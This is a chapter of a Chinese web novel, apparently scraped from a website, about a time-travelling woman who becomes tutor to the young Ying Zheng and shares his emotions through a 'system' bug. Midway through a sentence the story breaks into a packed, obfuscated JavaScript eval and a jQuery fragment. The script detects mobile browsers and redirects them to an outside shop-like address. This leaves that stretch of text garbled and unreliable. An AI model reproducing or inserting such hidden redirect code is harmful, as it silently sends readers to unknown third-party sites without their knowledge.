“真是活久了什么都能见着了啊!”
“这算什么事啊!”
“咸阳城最近还有救吗?那个女人已经占据讨论榜第一整整5天了!”
“您看上面两位过去5天了还是一副如痴如醉的样子就知道,这热度还能再维持七天!”
“七天?!得了吧,就她那事,再让人讨论半个月都不嫌多的!”
“何止,不知所云那榜上不是有备注吗,不只是咸阳,七国都传疯了!唉,不说了,喝酒喝酒!小二,再来一坛!”
众人沉默一阵,应声虫又起。
“真是活久了什么都能见着了啊!”
“这算什么事啊!”
“有辱礼法!有辱礼法呀!”
“嘘!小声点!秦国历来女性掌权者还少吗?你说这话,把那位放哪里了!不要命了?!”
好在这里是喧嚣的酒楼,不是露天街头,三杯酒下肚,发些牢骚不痛不痒,没人追究。
二楼的大人物们听着自一楼飘上来的言论,心中这样想着。
今日休沐,他们默契地三三两两聚集,也是为了那不知是谁搞出来的热度讨论榜第一的女人。五天前大王新拜的帝师,印玖。
“大王此举,不知意欲何为啊。”总所周知,大秦相邦吕不韦是先王指定的当今秦王的老师,现在大王又要搞出个新的老师了,不知道是想做些什么。而关键是——
“相邦居然许了。也不知那女子有何能耐。”有人抓耳挠腮,百思不得其解。
“听说明天有几位上卿会去咸阳宫讨论一些事情,似乎是与那女子相关。”
“哦,是什么事?快说!”
“快说!”
“具体我也不清楚,总之大人们都一副讳莫如深的样子,不肯透露半分。”
“兄台,你是在治粟内史手底下当门客吧?我听说你这一个月来也很风光呀,怎么,治粟内史大人没和你透露一二?”
“唉,兄台,你这就不够意思了!我要是知道,我能不告诉各位吗?!”那人折扇一合,故作生气道。
“你这样说,那就是一定有了!”有人兴奋地站起来指着他道。
“是什么,快说快说!”
“快说呀!”
“就是,你今天要是不说,这三坛酒可是无论如何都不能逃的!”
“就是!”
“就是!!”
“哎哎哎!且慢且慢!我说我说!”
“……”
“是什么,快说呀!”
“快说!”
“快说!”
“是……哎呀,就是一个小球从这里滚到那里,假设没有摩擦力,做了多少功……”
“……”
“……”
“……”
“这是什么。”有人小声问。
“不知道,我当时运气好,在门外听见治粟内史和人讨论这个,于是瞎说了几句,就,就,就……”
“就什么呀!你快说!”
“就成你们现在看见的这样喽。”锦衣罗帽,玉扇握在手中,一副贵公子做派,哪里有初见时那副窘迫样?
众人二次沉默。
.
章台宫内,这几日,各种不满的、反对的、言辞激烈或委婉的各种奏章一封封如雪片般飞来堆积在嬴政案头上。印玖随手拿起一封讨伐自己的奏章,无奈道:“这个不是我写的。”
她是写了苏轼的《定风波·莫听穿林打叶声》给嬴政,但是没想剽窃祖宗成果。至于嬴政将其作为赐封自己为帝师的直接原因,印玖一直觉得不妥。
实在是名不副实。
“这个不重要。”嬴政淡淡道。
印玖知道嬴政有他自己的打算,自己不过是一个棋子,因此无悲无喜,只表达立场。
“你的造纸术实施策略明日午时会在咸阳宫正殿商议,到时候你也要出席。”
“好。”
印玖将讨伐自己的奏章放回去。
嬴政身边的女官喜做事总是十二分细致,奏章总是按照不同类别排好。比如这边数量远超出常规的,就是不满封自己为帝师写奏章来骂自己的。而这一边奏章里面,有一叠的数量远超出常态的,就是单纯骂自己的。其中还有一叠数量略少的,是不满嬴政封自己为帝师的,还有几份孤零零的奏章,印玖也看了一下,是单纯借封帝师这件事情骂嬴政的。
不过反对无效。
金印紫绥的印章已经佩戴在印玖腰间,金光灿灿,十分惹眼。
看得人羡慕嫉妒恨,五味杂陈。
但嬴政不知为何,左看右看都觉得有些不顺眼。直到他从公文中抽身出来休息时,看见印玖将印绥摘下拿在手里一边玩一边看书才觉得有几分顺眼。
嬴政有一瞬间怀疑自己疯了。
但又觉得十分正常。毕竟眼前之人就是这样一个跳脱的性子。
还记得初见那日。
(印玖视角)
“什么叫共感?”印玖一头雾水地看向系统,对方看起来很不好意思。
“就是……那个……把你和嬴政的情绪、五感绑定在一起。”
“可是我两个礼拜前没遇到哇。”
“副本出bug了。”系统心虚地将视线移向一别,“这一次你重新进副本会有。”
此时印玖还没有完全预料到事情的严重性:“你不是说你们完美无缺吗?怎么能捅出这么大的篓子?”
“这个……原因目前还在排查当中。总之,为了表示歉意,等宿主完成任务,我们会给予丰厚奖励。”
“希望你们说到做到吧。”
“我们拥有100%信用。另外,我们这边会额外给予宿主三天的准备时间,以帮助宿主更好地应对bug,宿主可以选择是否接受。”
“接受。我再玩三天。”印玖站起的身体重新躺回床上,拿起手机打开晋江开始找书,准备度过三天美好时光。
系统看着,知道她送客的意思很明显了。
“呃……宿主,容我多提醒一句,共感绑定……有点复杂,尤其对你来说,你还是多做准备吧。”
印玖满脸无所谓:“什么共感,共感什么?耽误我做完任务回家吗?不耽误就行。”
“未必……你如果觉得你这边问题不大的话,不如多想想嬴政那边……糟糕,差点违规了!总之我言尽于此,宿主你自己多保重。”
系统消失后,印玖开始思考起它的话来。
嬴政……
她记得两周前的副本里面,嬴政看起来没有什么问题啊。活在那样的环境当中,有些不太好的情绪是很正常的,但是从嬴政的表现来看,他一直都是公事公办,很少受情绪影响……可能是自己对他不够了解?毕竟自己只是借助现代所学,作为“殿前行走”的身份存在,并未深度参与到那个副本的世界里面。
她第一次进副本,不熟悉古代的细枝末节,因此一直在韬光养晦,暗中积累经验。
但这一次,她打算好好努力,干出一番成绩,以求早日通过副本,早日回家。
至于共感不共感的,不影响这个大局就行。
反正,某种程度上,多了解一点嬴政,对她的主线来说只好不坏。
时间一天天过去,印玖恋恋不舍地告别过这三天的幸福时光,极不情愿地面对眼前的抹布、水桶与太监。
这就是她在副本里面的初始场景。
只是,感觉好像和她第一次进副本有点不太一样。
“系统,为什么我感觉我有些过于难受了?”
虽然现代生活难舍难分,但也不至于让她如此惆怅吧,浓得好像化不开的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151480|196457||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黑雾。
“很正常,因为这是嬴政的情绪。”
“呃。”印玖开始意识到这是件不太妙的事情。
当晚,她就去了嬴政寝殿。
嬴政觉得有哪里不对劲。
从今天上午开始,似乎感觉多了点难舍难分之情。
他面对底下乌泱泱一大堆朝臣,有些无语。
怎么会对他们难舍难分呢?
“退朝。”他道。
夜晚是最难熬的时候,吕不韦和华阳太后的斗争距离现在不过几个月,这几个月里,嬴政没有睡过一天安稳觉。
他的亲祖母可以做出污蔑他非父王之子的丑事来,当然也可以悄无声息杀死他。
为了活下来,他只能审时度势,尊吕不韦为相邦,拉拢他对付华阳太后。
他不知道周围的人有多少是祖母的、有多少是吕不韦的,但他清楚自己宛如独行于一片黑蒙蒙的迷雾,不知方向,没有尽头。
过去几个月了,每一天都是这样,今天例外。
那日,嬴政看见了一片大海。这片大海很沉静,但隐约有些雀跃,一些小浪花翻涌。四周像是阴天,无灿阳无雨,而大海表体透蓝,再往深却不可见。
嬴政凝视大海良久,不愿前进也不愿后退。这海既能驱散他内心的雾,却不可过分靠近,恐被其卷入。
他难得在夜晚享受片刻平静,拿着一本书读得正入迷。
突然海乱了,波涛翻涌起来。
嬴政正觉得奇怪,不多时,有侍人来报,说有宫女求见。
殿内烛光点点,一朵朵小灯火着好似专业的舞者,连跳动的频率都整齐划一。整个夜晚静谧无声,只能听见印玖刻意走出的一点细微脚步声。
又是华阳太后或吕不韦派来的人吗?
“见。”
他端坐于正殿上,四面烛光将他包围,兀自闪烁。柔和烛光映照着他的脸,蝶翼般的睫毛在摇曳烛火下显得轻微颤动。
他看见印玖缓步上前,跪在堂前,等待着自己发话,内心那片海突然有了异样的波动。
“……”今天着实有些诡异,他自认为不会对一个宫女有过于饱满的期待,不至于让自己情绪有明显变化。
嬴政压下心中疑虑,瞥了眼前女子一眼。听侍卫说,她是来献策的,于是淡淡开口道:“你有何策?”
十三岁的少年嗓音带着稚嫩,气度却很沉稳。
印玖深吸一口气,答出和上一次副本一样的回复:“回陛下,奴昨日于梦中偶遇一仙人,仙人领奴去了天宫,参悟这天地自然的法则,说大秦国国君乃是秉承天命之人,此世当一统六国,开创万世先河,故遣我将这自然法则交予陛下,协助陛下顺应天时,缔造不世之功。”
印玖说这话时脸不红、眼神雀跃,好像真的是这样一回事,唯独在心里泛起了嘀咕。
虽说上一次副本她是靠着这样的方法成功被封为“殿前行走”,但也保不齐这次嬴政不打算继续挖掘她的价值,而是选择把她的话当成欺君之言,直接拖下去五马分尸。
嬴政内心那片海于是翻起浪花。
莫名地,嬴政有一种直觉,他觉得眼前女子在说谎。
“妖言惑众,拖下去,五马分尸。倘若敢于人前疯言乱语,连同三族一起枭首示众。”
印玖眼睛瞪得像铜铃,这一刻连封建礼教的尊卑都顾不得了,“蹭”地站起来,走到嬴政前面说:“不是吧哥们,你都不问问我别的吗?比如我说的自然法则是什么,比如仙人住处如何之类的,你这就要五马分尸我?我没惹你吧?”
他上一次不是这样的啊!
那片海随着印玖越靠越近翻腾起大的浪花,余威冲击在嬴政脚下,与眼前人气急败坏的形象重合。电光火石间,他凝视着浪花退却和自己湿掉的鞋袜,想到了什么。